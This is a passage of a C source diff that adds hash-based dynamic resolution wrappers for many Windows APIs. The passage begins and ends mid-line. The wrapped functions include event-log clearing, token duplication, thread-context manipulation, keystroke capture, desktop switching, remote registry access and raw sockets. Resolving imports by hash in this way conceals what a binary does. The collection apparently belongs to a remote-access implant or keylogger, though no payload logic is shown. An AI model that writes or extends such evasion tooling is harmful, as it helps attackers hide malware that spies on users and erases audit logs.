FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(DWORD, winapi_kernel32_GetFileAttributesW, WINAPI, KERNEL32_DLL, H_GetFileAttributesW, + (LPCWSTR lpFileName), (lpFileName), INVALID_FILE_ATTRIBUTES) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_kernel32_GetHandleInformation, WINAPI, KERNEL32_DLL, H_GetHandleInformation, + (HANDLE hObject, LPDWORD lpdwFlags), (hObject, lpdwFlags), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(DWORD, winapi_kernel32_GetLogicalDriveStringsA, WINAPI, KERNEL32_DLL, H_GetLogicalDriveStringsA, + (DWORD nBufferLength, LPSTR lpBuffer), (nBufferLength, lpBuffer), 0) +DEFINE_CACHED_WINAPI_WRAPPER(DWORD, winapi_kernel32_GetLogicalDrives, WINAPI, KERNEL32_DLL, H_GetLogicalDrives, + (VOID), (), 0) +DEFINE_CACHED_WINAPI_WRAPPER(FARPROC, winapi_kernel32_GetProcAddress, WINAPI, KERNEL32_DLL, H_GetProcAddress, + (HMODULE hModule, LPCSTR lpProcName), (hModule, lpProcName), NULL) +DEFINE_CACHED_WINAPI_WRAPPER(LCID, winapi_kernel32_GetSystemDefaultLCID, WINAPI, KERNEL32_DLL, H_GetSystemDefaultLCID, + (VOID), (), 0) +DEFINE_CACHED_WINAPI_WRAPPER(DWORD, winapi_kernel32_GetTickCount, WINAPI, KERNEL32_DLL, H_GetTickCount, + (VOID), (), 0) +DEFINE_CACHED_WINAPI_WRAPPER(int, winapi_kernel32_GetTimeFormatW, WINAPI, KERNEL32_DLL, H_GetTimeFormatW, + (LCID Locale, DWORD dwFlags, const SYSTEMTIME* lpTime, LPCWSTR lpFormat, LPWSTR lpTimeStr, int cchTime), + (Locale, dwFlags, lpTime, lpFormat, lpTimeStr, cchTime), 0) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_kernel32_GetVersionExA, WINAPI, KERNEL32_DLL, H_GetVersionExA, + (LPOSVERSIONINFOA lpVersionInformation), (lpVersionInformation), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(HGLOBAL, winapi_kernel32_LoadResource, WINAPI, KERNEL32_DLL, H_LoadResource, + (HMODULE hModule, HRSRC hResInfo), (hModule, hResInfo), NULL) +DEFINE_CACHED_WINAPI_WRAPPER(LPVOID, winapi_kernel32_LockResource, WINAPI, KERNEL32_DLL, H_LockResource, + (HGLOBAL hResData), (hResData), NULL) +DEFINE_CACHED_WINAPI_VOID_WRAPPER(winapi_kernel32_OutputDebugStringW, WINAPI, KERNEL32_DLL, H_OutputDebugStringW, + (LPCWSTR lpOutputString), (lpOutputString)) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_kernel32_MoveFileW, WINAPI, KERNEL32_DLL, H_MoveFileW, + (LPCWSTR lpExistingFileName, LPCWSTR lpNewFileName), (lpExistingFileName, lpNewFileName), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_kernel32_RemoveDirectoryW, WINAPI, KERNEL32_DLL, H_RemoveDirectoryW, + (LPCWSTR lpPathName), (lpPathName), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_kernel32_SetCurrentDirectoryW, WINAPI, KERNEL32_DLL, H_SetCurrentDirectoryW, + (LPCWSTR lpPathName), (lpPathName), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_kernel32_SetFileAttributesW, WINAPI, KERNEL32_DLL, H_SetFileAttributesW, + (LPCWSTR lpFileName, DWORD dwFileAttributes), (lpFileName, dwFileAttributes), FALSE) +DEFINE_CACHED_WINAPI_VOID_WRAPPER(winapi_kernel32_SetLastError, WINAPI, KERNEL32_DLL, H_SetLastError, + (DWORD dwErrCode), (dwErrCode)) +DEFINE_CACHED_WINAPI_WRAPPER(DWORD, winapi_kernel32_SizeofResource, WINAPI, KERNEL32_DLL, H_SizeofResource, + (HMODULE hModule, HRSRC hResInfo), (hModule, hResInfo), 0) +DEFINE_CACHED_WINAPI_WRAPPER(int, winapi_kernel32_lstrcmpiW, WINAPI, KERNEL32_DLL, H_lstrcmpiW, + (LPCWSTR lpString1, LPCWSTR lpString2), (lpString1, lpString2), 0) +DEFINE_CACHED_WINAPI_WRAPPER(LPWSTR, winapi_kernel32_lstrcpyW, WINAPI, KERNEL32_DLL, H_lstrcpyW, + (LPWSTR lpString1, LPCWSTR lpString2), (lpString1, lpString2), NULL) +DEFINE_CACHED_WINAPI_WRAPPER(int, winapi_kernel32_lstrlenA, WINAPI, KERNEL32_DLL, H_lstrlenA, + (LPCSTR lpString), (lpString), 0) +DEFINE_CACHED_WINAPI_WRAPPER(int, winapi_kernel32_lstrlenW, WINAPI, KERNEL32_DLL, H_lstrlenW, + (LPCWSTR lpString), (lpString), 0) + +PVOID winapi_kernel32_InterlockedExchangePointer(PVOID volatile* Target, PVOID Value) { + return InterlockedExchangePointer(Target, Value); +} +DEFINE_CACHED_WINAPI_WRAPPER(DWORD, winapi_kernel32_FormatMessageA, WINAPI, KERNEL32_DLL, H_FormatMessageA, + (DWORD dwFlags, LPCVOID lpSource, DWORD dwMessageId, DWORD dwLanguageId, LPSTR lpBuffer, DWORD nSize, va_list* Arguments), + (dwFlags, lpSource, dwMessageId, dwLanguageId, lpBuffer, nSize, Arguments), 0) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_kernel32_CreatePipe, WINAPI, KERNEL32_DLL, H_CreatePipe, + (PHANDLE hReadPipe, PHANDLE hWritePipe, LPSECURITY_ATTRIBUTES lpPipeAttributes, DWORD nSize), + (hReadPipe, hWritePipe, lpPipeAttributes, nSize), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_kernel32_CreateProcessW, WINAPI, KERNEL32_DLL, H_CreateProcessW, + (LPCWSTR lpApplicationName, LPWSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCWSTR lpCurrentDirectory, LPSTARTUPINFOW lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation), + (lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes, bInheritHandles, dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_kernel32_GetComputerNameA, WINAPI, KERNEL32_DLL, H_GetComputerNameA, + (LPSTR lpBuffer, LPDWORD nSize), (lpBuffer, nSize), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(HANDLE, winapi_kernel32_GetCurrentProcess, WINAPI, KERNEL32_DLL, H_GetCurrentProcess, + (VOID), (), NULL) +DEFINE_CACHED_WINAPI_WRAPPER(HANDLE, winapi_kernel32_GetCurrentThread, WINAPI, KERNEL32_DLL, H_GetCurrentThread, + (VOID), (), NULL) +DEFINE_CACHED_WINAPI_WRAPPER(DWORD, winapi_kernel32_GetEnvironmentVariableW, WINAPI, KERNEL32_DLL, H_GetEnvironmentVariableW, + (LPCWSTR lpName, LPWSTR lpBuffer, DWORD nSize), (lpName, lpBuffer, nSize), 0) +DEFINE_CACHED_WINAPI_VOID_WRAPPER(winapi_kernel32_GetLocalTime, WINAPI, KERNEL32_DLL, H_GetLocalTime, + (LPSYSTEMTIME lpSystemTime), (lpSystemTime)) +DEFINE_CACHED_WINAPI_WRAPPER(int, winapi_kernel32_GetLocaleInfoA, WINAPI, KERNEL32_DLL, H_GetLocaleInfoA, + (LCID Locale, LCTYPE LCType, LPSTR lpLCData, int cchData), (Locale, LCType, lpLCData, cchData), 0) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_kernel32_GetThreadContext, WINAPI, KERNEL32_DLL, H_GetThreadContext, + (HANDLE hThread, LPCONTEXT lpContext), (hThread, lpContext), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(DWORD, winapi_kernel32_GetTimeZoneInformation, WINAPI, KERNEL32_DLL, H_GetTimeZoneInformation, + (LPTIME_ZONE_INFORMATION lpTimeZoneInformation), (lpTimeZoneInformation), TIME_ZONE_ID_INVALID) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_kernel32_SetThreadContext, WINAPI, KERNEL32_DLL, H_SetThreadContext, + (HANDLE hThread, const CONTEXT* lpContext), (hThread, lpContext), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_kernel32_TerminateProcess, WINAPI, KERNEL32_DLL, H_TerminateProcess, + (HANDLE hProcess, UINT uExitCode), (hProcess, uExitCode), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_kernel32_VirtualLock, WINAPI, KERNEL32_DLL, H_VirtualLock, + (LPVOID lpAddress, SIZE_T dwSize), (lpAddress, dwSize), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_kernel32_VirtualUnlock, WINAPI, KERNEL32_DLL, H_VirtualUnlock, + (LPVOID lpAddress, SIZE_T dwSize), (lpAddress, dwSize), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(DWORD, winapi_kernel32_WaitForSingleObjectEx, WINAPI, KERNEL32_DLL, H_WaitForSingleObjectEx, + (HANDLE hHandle, DWORD dwMilliseconds, BOOL bAlertable), (hHandle, dwMilliseconds, bAlertable), WAIT_FAILED) + +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_advapi32_RevertToSelf, WINAPI, ADVAPI32_DLL, H_RevertToSelf, + (VOID), (), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_advapi32_ClearEventLogA, WINAPI, ADVAPI32_DLL, H_ClearEventLogA, + (HANDLE hEventLog, LPCSTR lpBackupFileName), (hEventLog, lpBackupFileName), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_advapi32_CloseEventLog, WINAPI, ADVAPI32_DLL, H_CloseEventLog, + (HANDLE hEventLog), (hEventLog), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_advapi32_ConvertSidToStringSidA, WINAPI, ADVAPI32_DLL, H_ConvertSidToStringSidA, + (PSID Sid, LPSTR* StringSid), (Sid, StringSid), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_advapi32_CreateProcessAsUserW, WINAPI, ADVAPI32_DLL, H_CreateProcessAsUserW, + (HANDLE hToken, LPCWSTR lpApplicationName, LPWSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCWSTR lpCurrentDirectory, LPSTARTUPINFOW lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation), + (hToken, lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes, bInheritHandles, dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_advapi32_DuplicateTokenEx, WINAPI, ADVAPI32_DLL, H_DuplicateTokenEx, + (HANDLE hExistingToken, DWORD dwDesiredAccess, LPSECURITY_ATTRIBUTES lpTokenAttributes, SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, TOKEN_TYPE TokenType, PHANDLE phNewToken), + (hExistingToken, dwDesiredAccess, lpTokenAttributes, ImpersonationLevel, TokenType, phNewToken), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_advapi32_GetNumberOfEventLogRecords, WINAPI, ADVAPI32_DLL, H_GetNumberOfEventLogRecords, + (HANDLE hEventLog, PDWORD NumberOfRecords), (hEventLog, NumberOfRecords), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_advapi32_GetOldestEventLogRecord, WINAPI, ADVAPI32_DLL, H_GetOldestEventLogRecord, + (HANDLE hEventLog, PDWORD OldestRecord), (hEventLog, OldestRecord), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_advapi32_GetTokenInformation, WINAPI, ADVAPI32_DLL, H_GetTokenInformation, + (HANDLE TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, LPVOID TokenInformation, DWORD TokenInformationLength, PDWORD ReturnLength), + (TokenHandle, TokenInformationClass, TokenInformation, TokenInformationLength, ReturnLength), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_advapi32_LookupAccountSidW, WINAPI, ADVAPI32_DLL, H_LookupAccountSidW, + (LPCWSTR lpSystemName, PSID Sid, LPWSTR Name, LPDWORD cchName, LPWSTR ReferencedDomainName, LPDWORD cchReferencedDomainName, PSID_NAME_USE peUse), + (lpSystemName, Sid, Name, cchName, ReferencedDomainName, cchReferencedDomainName, peUse), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_advapi32_LookupPrivilegeValueA, WINAPI, ADVAPI32_DLL, H_LookupPrivilegeValueA, + (LPCSTR lpSystemName, LPCSTR lpName, PLUID lpLuid), (lpSystemName, lpName, lpLuid), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(HANDLE, winapi_advapi32_OpenEventLogA, WINAPI, ADVAPI32_DLL, H_OpenEventLogA, + (LPCSTR lpUNCServerName, LPCSTR lpSourceName), (lpUNCServerName, lpSourceName), NULL) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_advapi32_ReadEventLogA, WINAPI, ADVAPI32_DLL, H_ReadEventLogA, + (HANDLE hEventLog, DWORD dwReadFlags, DWORD dwRecordOffset, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, DWORD* pnBytesRead, DWORD* pnMinNumberOfBytesNeeded), + (hEventLog, dwReadFlags, dwRecordOffset, lpBuffer, nNumberOfBytesToRead, pnBytesRead, pnMinNumberOfBytesNeeded), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(LSTATUS, winapi_advapi32_RegCloseKey, WINAPI, ADVAPI32_DLL, H_RegCloseKey, + (HKEY hKey), (hKey), ERROR_PROC_NOT_FOUND) +DEFINE_CACHED_WINAPI_WRAPPER(LSTATUS, winapi_advapi32_RegConnectRegistryW, WINAPI, ADVAPI32_DLL, H_RegConnectRegistryW, + (LPCWSTR lpMachineName, HKEY hKey, PHKEY phkResult), (lpMachineName, hKey, phkResult), ERROR_PROC_NOT_FOUND) +DEFINE_CACHED_WINAPI_WRAPPER(LSTATUS, winapi_advapi32_RegCreateKeyExW, WINAPI, ADVAPI32_DLL, H_RegCreateKeyExW, + (HKEY hKey, LPCWSTR lpSubKey, DWORD Reserved, LPWSTR lpClass, DWORD dwOptions, REGSAM samDesired, const LPSECURITY_ATTRIBUTES lpSecurityAttributes, PHKEY phkResult, LPDWORD lpdwDisposition), + (hKey, lpSubKey, Reserved, lpClass, dwOptions, samDesired, lpSecurityAttributes, phkResult, lpdwDisposition), ERROR_PROC_NOT_FOUND) +DEFINE_CACHED_WINAPI_WRAPPER(LSTATUS, winapi_advapi32_RegDeleteKeyW, WINAPI, ADVAPI32_DLL, H_RegDeleteKeyW, + (HKEY hKey, LPCWSTR lpSubKey), (hKey, lpSubKey), ERROR_PROC_NOT_FOUND) +DEFINE_CACHED_WINAPI_WRAPPER(LSTATUS, winapi_advapi32_RegDeleteValueW, WINAPI, ADVAPI32_DLL, H_RegDeleteValueW, + (HKEY hKey, LPCWSTR lpValueName), (hKey, lpValueName), ERROR_PROC_NOT_FOUND) +DEFINE_CACHED_WINAPI_WRAPPER(LSTATUS, winapi_advapi32_RegEnumKeyW, WINAPI, ADVAPI32_DLL, H_RegEnumKeyW, + (HKEY hKey, DWORD dwIndex, LPWSTR lpName, DWORD cchName), (hKey, dwIndex, lpName, cchName), ERROR_PROC_NOT_FOUND) +DEFINE_CACHED_WINAPI_WRAPPER(LSTATUS, winapi_advapi32_RegEnumValueW, WINAPI, ADVAPI32_DLL, H_RegEnumValueW, + (HKEY hKey, DWORD dwIndex, LPWSTR lpValueName, LPDWORD lpcchValueName, LPDWORD lpReserved, LPDWORD lpType, LPBYTE lpData, LPDWORD lpcbData), + (hKey, dwIndex, lpValueName, lpcchValueName, lpReserved, lpType, lpData, lpcbData), ERROR_PROC_NOT_FOUND) +DEFINE_CACHED_WINAPI_WRAPPER(LSTATUS, winapi_advapi32_RegLoadKeyW, WINAPI, ADVAPI32_DLL, H_RegLoadKeyW, + (HKEY hKey, LPCWSTR lpSubKey, LPCWSTR lpFile), (hKey, lpSubKey, lpFile), ERROR_PROC_NOT_FOUND) +DEFINE_CACHED_WINAPI_WRAPPER(LSTATUS, winapi_advapi32_RegOpenKeyExW, WINAPI, ADVAPI32_DLL, H_RegOpenKeyExW, + (HKEY hKey, LPCWSTR lpSubKey, DWORD ulOptions, REGSAM samDesired, PHKEY phkResult), + (hKey, lpSubKey, ulOptions, samDesired, phkResult), ERROR_PROC_NOT_FOUND) +DEFINE_CACHED_WINAPI_WRAPPER(LSTATUS, winapi_advapi32_RegQueryInfoKeyA, WINAPI, ADVAPI32_DLL, H_RegQueryInfoKeyA, + (HKEY hKey, LPSTR lpClass, LPDWORD lpcchClass, LPDWORD lpReserved, LPDWORD lpcSubKeys, LPDWORD lpcbMaxSubKeyLen, LPDWORD lpcbMaxClassLen, LPDWORD lpcValues, LPDWORD lpcbMaxValueNameLen, LPDWORD lpcbMaxValueLen, LPDWORD lpcbSecurityDescriptor, PFILETIME lpftLastWriteTime), + (hKey, lpClass, lpcchClass, lpReserved, lpcSubKeys, lpcbMaxSubKeyLen, lpcbMaxClassLen, lpcValues, lpcbMaxValueNameLen, lpcbMaxValueLen, lpcbSecurityDescriptor, lpftLastWriteTime), ERROR_PROC_NOT_FOUND) +DEFINE_CACHED_WINAPI_WRAPPER(LSTATUS, winapi_advapi32_RegQueryInfoKeyW, WINAPI, ADVAPI32_DLL, H_RegQueryInfoKeyW, + (HKEY hKey, LPWSTR lpClass, LPDWORD lpcchClass, LPDWORD lpReserved, LPDWORD lpcSubKeys, LPDWORD lpcbMaxSubKeyLen, LPDWORD lpcbMaxClassLen, LPDWORD lpcValues, LPDWORD lpcbMaxValueNameLen, LPDWORD lpcbMaxValueLen, LPDWORD lpcbSecurityDescriptor, PFILETIME lpftLastWriteTime), + (hKey, lpClass, lpcchClass, lpReserved, lpcSubKeys, lpcbMaxSubKeyLen, lpcbMaxClassLen, lpcValues, lpcbMaxValueNameLen, lpcbMaxValueLen, lpcbSecurityDescriptor, lpftLastWriteTime), ERROR_PROC_NOT_FOUND) +DEFINE_CACHED_WINAPI_WRAPPER(LSTATUS, winapi_advapi32_RegQueryValueExW, WINAPI, ADVAPI32_DLL, H_RegQueryValueExW, + (HKEY hKey, LPCWSTR lpValueName, LPDWORD lpReserved, LPDWORD lpType, LPBYTE lpData, LPDWORD lpcbData), + (hKey, lpValueName, lpReserved, lpType, lpData, lpcbData), ERROR_PROC_NOT_FOUND) +DEFINE_CACHED_WINAPI_WRAPPER(LSTATUS, winapi_advapi32_RegSetValueExW, WINAPI, ADVAPI32_DLL, H_RegSetValueExW, + (HKEY hKey, LPCWSTR lpValueName, DWORD Reserved, DWORD dwType, const BYTE* lpData, DWORD cbData), + (hKey, lpValueName, Reserved, dwType, lpData, cbData), ERROR_PROC_NOT_FOUND) +DEFINE_CACHED_WINAPI_WRAPPER(LSTATUS, winapi_advapi32_RegUnLoadKeyW, WINAPI, ADVAPI32_DLL, H_RegUnLoadKeyW, + (HKEY hKey, LPCWSTR lpSubKey), (hKey, lpSubKey), ERROR_PROC_NOT_FOUND) + +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_user32_CloseDesktop, WINAPI, USER32_DLL, H_CloseDesktop, + (HDESK hDesktop), (hDesktop), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_user32_CloseWindowStation, WINAPI, USER32_DLL, H_CloseWindowStation, + (HWINSTA hWinSta), (hWinSta), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(HWND, winapi_user32_CreateWindowExA, WINAPI, USER32_DLL, H_CreateWindowExA, + (DWORD dwExStyle, LPCSTR lpClassName, LPCSTR lpWindowName, DWORD dwStyle, int X, int Y, int nWidth, int nHeight, HWND hWndParent, HMENU hMenu, HINSTANCE hInstance, LPVOID lpParam), + (dwExStyle, lpClassName, lpWindowName, dwStyle, X, Y, nWidth, nHeight, hWndParent, hMenu, hInstance, lpParam), NULL) +DEFINE_CACHED_WINAPI_WRAPPER(LRESULT, winapi_user32_DefWindowProcA, WINAPI, USER32_DLL, H_DefWindowProcA, + (HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam), (hWnd, Msg, wParam, lParam), 0) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_user32_DestroyWindow, WINAPI, USER32_DLL, H_DestroyWindow, + (HWND hWnd), (hWnd), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(LRESULT, winapi_user32_DispatchMessageA, WINAPI, USER32_DLL, H_DispatchMessageA, + (const MSG* lpMsg), (lpMsg), 0) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_user32_EnumChildWindows, WINAPI, USER32_DLL, H_EnumChildWindows, + (HWND hWndParent, WNDENUMPROC lpEnumFunc, LPARAM lParam), (hWndParent, lpEnumFunc, lParam), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_user32_EnumDesktopsA, WINAPI, USER32_DLL, H_EnumDesktopsA, + (HWINSTA hwinsta, DESKTOPENUMPROCA lpEnumFunc, LPARAM lParam), (hwinsta, lpEnumFunc, lParam), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_user32_EnumWindowStationsA, WINAPI, USER32_DLL, H_EnumWindowStationsA, + (WINSTAENUMPROCA lpEnumFunc, LPARAM lParam), (lpEnumFunc, lParam), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_user32_ExitWindowsEx, WINAPI, USER32_DLL, H_ExitWindowsEx, + (UINT uFlags, DWORD dwReason), (uFlags, dwReason), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(SHORT, winapi_user32_GetAsyncKeyState, WINAPI, USER32_DLL, H_GetAsyncKeyState, + (int vKey), (vKey), 0) +DEFINE_CACHED_WINAPI_WRAPPER(HWND, winapi_user32_GetForegroundWindow, WINAPI, USER32_DLL, H_GetForegroundWindow, + (VOID), (), NULL) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_user32_GetKeyboardState, WINAPI, USER32_DLL, H_GetKeyboardState, + (PBYTE lpKeyState), (lpKeyState), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(int, winapi_user32_GetKeyNameTextW, WINAPI, USER32_DLL, H_GetKeyNameTextW, + (LONG lParam, LPWSTR lpString, int cchSize), (lParam, lpString, cchSize), 0) +DEFINE_CACHED_WINAPI_WRAPPER(SHORT, winapi_user32_GetKeyState, WINAPI, USER32_DLL, H_GetKeyState, + (int nVirtKey), (nVirtKey), 0) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_user32_GetMessageA, WINAPI, USER32_DLL, H_GetMessageA, + (LPMSG lpMsg, HWND hWnd, UINT wMsgFilterMin, UINT wMsgFilterMax), + (lpMsg, hWnd, wMsgFilterMin, wMsgFilterMax), -1) +DEFINE_CACHED_WINAPI_WRAPPER(int, winapi_user32_GetSystemMetrics, WINAPI, USER32_DLL, H_GetSystemMetrics, + (int nIndex), (nIndex), 0) +DEFINE_CACHED_WINAPI_WRAPPER(DWORD, winapi_user32_GetWindowThreadProcessId, WINAPI, USER32_DLL, H_GetWindowThreadProcessId, + (HWND hWnd, LPDWORD lpdwProcessId), (hWnd, lpdwProcessId), 0) +DEFINE_CACHED_WINAPI_WRAPPER(UINT, winapi_user32_MapVirtualKeyA, WINAPI, USER32_DLL, H_MapVirtualKeyA, + (UINT uCode, UINT uMapType), (uCode, uMapType), 0) +DEFINE_CACHED_WINAPI_WRAPPER(HDESK, winapi_user32_OpenDesktopA, WINAPI, USER32_DLL, H_OpenDesktopA, + (LPCSTR lpszDesktop, DWORD dwFlags, BOOL fInherit, ACCESS_MASK dwDesiredAccess), + (lpszDesktop, dwFlags, fInherit, dwDesiredAccess), NULL) +DEFINE_CACHED_WINAPI_WRAPPER(HWINSTA, winapi_user32_OpenWindowStationA, WINAPI, USER32_DLL, H_OpenWindowStationA, + (LPCSTR lpszWinSta, BOOL fInherit, ACCESS_MASK dwDesiredAccess), + (lpszWinSta, fInherit, dwDesiredAccess), NULL) +DEFINE_CACHED_WINAPI_WRAPPER(ATOM, winapi_user32_RegisterClassExA, WINAPI, USER32_DLL, H_RegisterClassExA, + (const WNDCLASSEXA* unnamedParam1), (unnamedParam1), 0) +DEFINE_CACHED_WINAPI_WRAPPER(UINT, winapi_user32_SendInput, WINAPI, USER32_DLL, H_SendInput, + (UINT cInputs, LPINPUT pInputs, int cbSize), (cInputs, pInputs, cbSize), 0) +DEFINE_CACHED_WINAPI_WRAPPER(LRESULT, winapi_user32_SendMessageA, WINAPI, USER32_DLL, H_SendMessageA, + (HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam), (hWnd, Msg, wParam, lParam), 0) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_user32_SetProcessWindowStation, WINAPI, USER32_DLL, H_SetProcessWindowStation, + (HWINSTA hWinSta), (hWinSta), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_user32_SetThreadDesktop, WINAPI, USER32_DLL, H_SetThreadDesktop, + (HDESK hDesktop), (hDesktop), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_user32_SwitchDesktop, WINAPI, USER32_DLL, H_SwitchDesktop, + (HDESK hDesktop), (hDesktop), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(int, winapi_user32_ToUnicodeEx, WINAPI, USER32_DLL, H_ToUnicodeEx, + (UINT wVirtKey, UINT wScanCode, const BYTE* lpKeyState, LPWSTR pwszBuff, int cchBuff, UINT wFlags, HKL dwhkl), + (wVirtKey, wScanCode, lpKeyState, pwszBuff, cchBuff, wFlags, dwhkl), 0) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_user32_TranslateMessage, WINAPI, USER32_DLL, H_TranslateMessage, + (const MSG* lpMsg), (lpMsg), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_user32_UnregisterClassA, WINAPI, USER32_DLL, H_UnregisterClassA, + (LPCSTR lpClassName, HINSTANCE hInstance), (lpClassName, hInstance), FALSE) + +int winapi_user32_wsprintfW(LPWSTR unnamedParam1, LPCWSTR unnamedParam2, ...) { + typedef int (WINAPI *NativeFunction)(LPWSTR, LPCWSTR, va_list); + static WinApiFunctionCache cache = WINAPI_FUNCTION_CACHE_INIT; + NativeFunction function = (NativeFunction)GetFunctionHCached(&cache, USER32_DLL, H_wvsprintfW); + int result = 0; + va_list arguments; + + WINAPI_CACHE_DPRINTF("[WINAPI][winapi_user32_wsprintfW] Calling wvsprintfW @ %p", function); + if (function) { + va_start(arguments, unnamedParam2); + result = function(unnamedParam1, unnamedParam2, arguments); + va_end(arguments); + } + return result; +} + +DEFINE_CACHED_WINAPI_WRAPPER(int, winapi_ws2_32_getsockname, WSAAPI, WS2_32_DLL, H_getsockname, + (SOCKET s, struct sockaddr* name, int* namelen), (s, name, namelen), SOCKET_ERROR) +DEFINE_CACHED_WINAPI_WRAPPER(u_short, winapi_ws2_32_ntohs, WSAAPI, WS2_32_DLL, H_ntohs, + (u_short netshort), (netshort), 0) +DEFINE_CACHED_WINAPI_WRAPPER(int, winapi_ws2_32_recvfrom, WSAAPI, WS2_32_DLL, H_recvfrom, + (SOCKET s, char* buf, int len, int flags, struct sockaddr* from, int* fromlen), + (s, buf, len, flags, from, fromlen), SOCKET_ERROR) +DEFINE_CACHED_WINAPI_WRAPPER(int, winapi_ws2_32_sendto, WSAAPI, WS2_32_DLL, H_sendto, + (SOCKET s, const char* buf, int len, int flags, const struct sockaddr* to, int tolen), + (s, buf, len, flags, to, tolen), SOCKET_ERROR) +DEFINE_CACHED_WINAPI_WRAPPER(int, winapi_ws2_32_shutdown, WSAAPI, WS2_32_DLL, H_shutdown, + (SOCKET s, int how), (s, how), SOCKET_ERROR) +DEFINE_CACHED_WINAPI_WRAPPER(INT, winapi_ws2_32_WSAAddressToStringA, WSAAPI, WS2_32_DLL, H_WSAAddressToStringA, + (LPSOCKADDR lpsaAddress, DWORD dwAddressLength, LPWSAPROTOCOL_INFOA lpProtocolInfo, LPSTR lpszAddressString, LPDWORD lpdwAddressStringLength), + (lpsaAddress, dwAddressLength, lpProtocolInfo, lpszAddressString, lpdwAddressStringLength), SOCKET_ERROR) +DEFINE_CACHED_WINAPI_WRAPPER(int, winapi_ws2_32_WSACleanup, WSAAPI, WS2_32_DLL, H_WSACleanup, + (VOID), (), SOCKET_ERROR) +DEFINE_CACHED_WINAPI_WRAPPER(WSAEVENT, winapi_ws2_32_WSACreateEvent, WSAAPI, WS2_32_DLL, H_WSACreateEvent, + (VOID), (), WSA_INVALID_EVENT) +DEFINE_CACHED_WINAPI_WRAPPER(int, winapi_ws2_32_WSAEventSelect, WSAAPI, WS2_32_DLL, H_WSAEventSelect, + (SOCKET s, WSAEVENT hEventObject, long lNetworkEvents), (s, hEventObject, lNetworkEvents), SOCKET_ERROR) +DEFINE_CACHED_WINAPI_VOID_WRAPPER(winapi_ws2_32_WSASetLastError, WSAAPI, WS2_32_DLL, H_WSASetLastError, + (int iError), (iError)) +DEFINE_CACHED_WINAPI_WRAPPER(SOCKET, winapi_ws2_32_WSASocketA, WSAAPI, 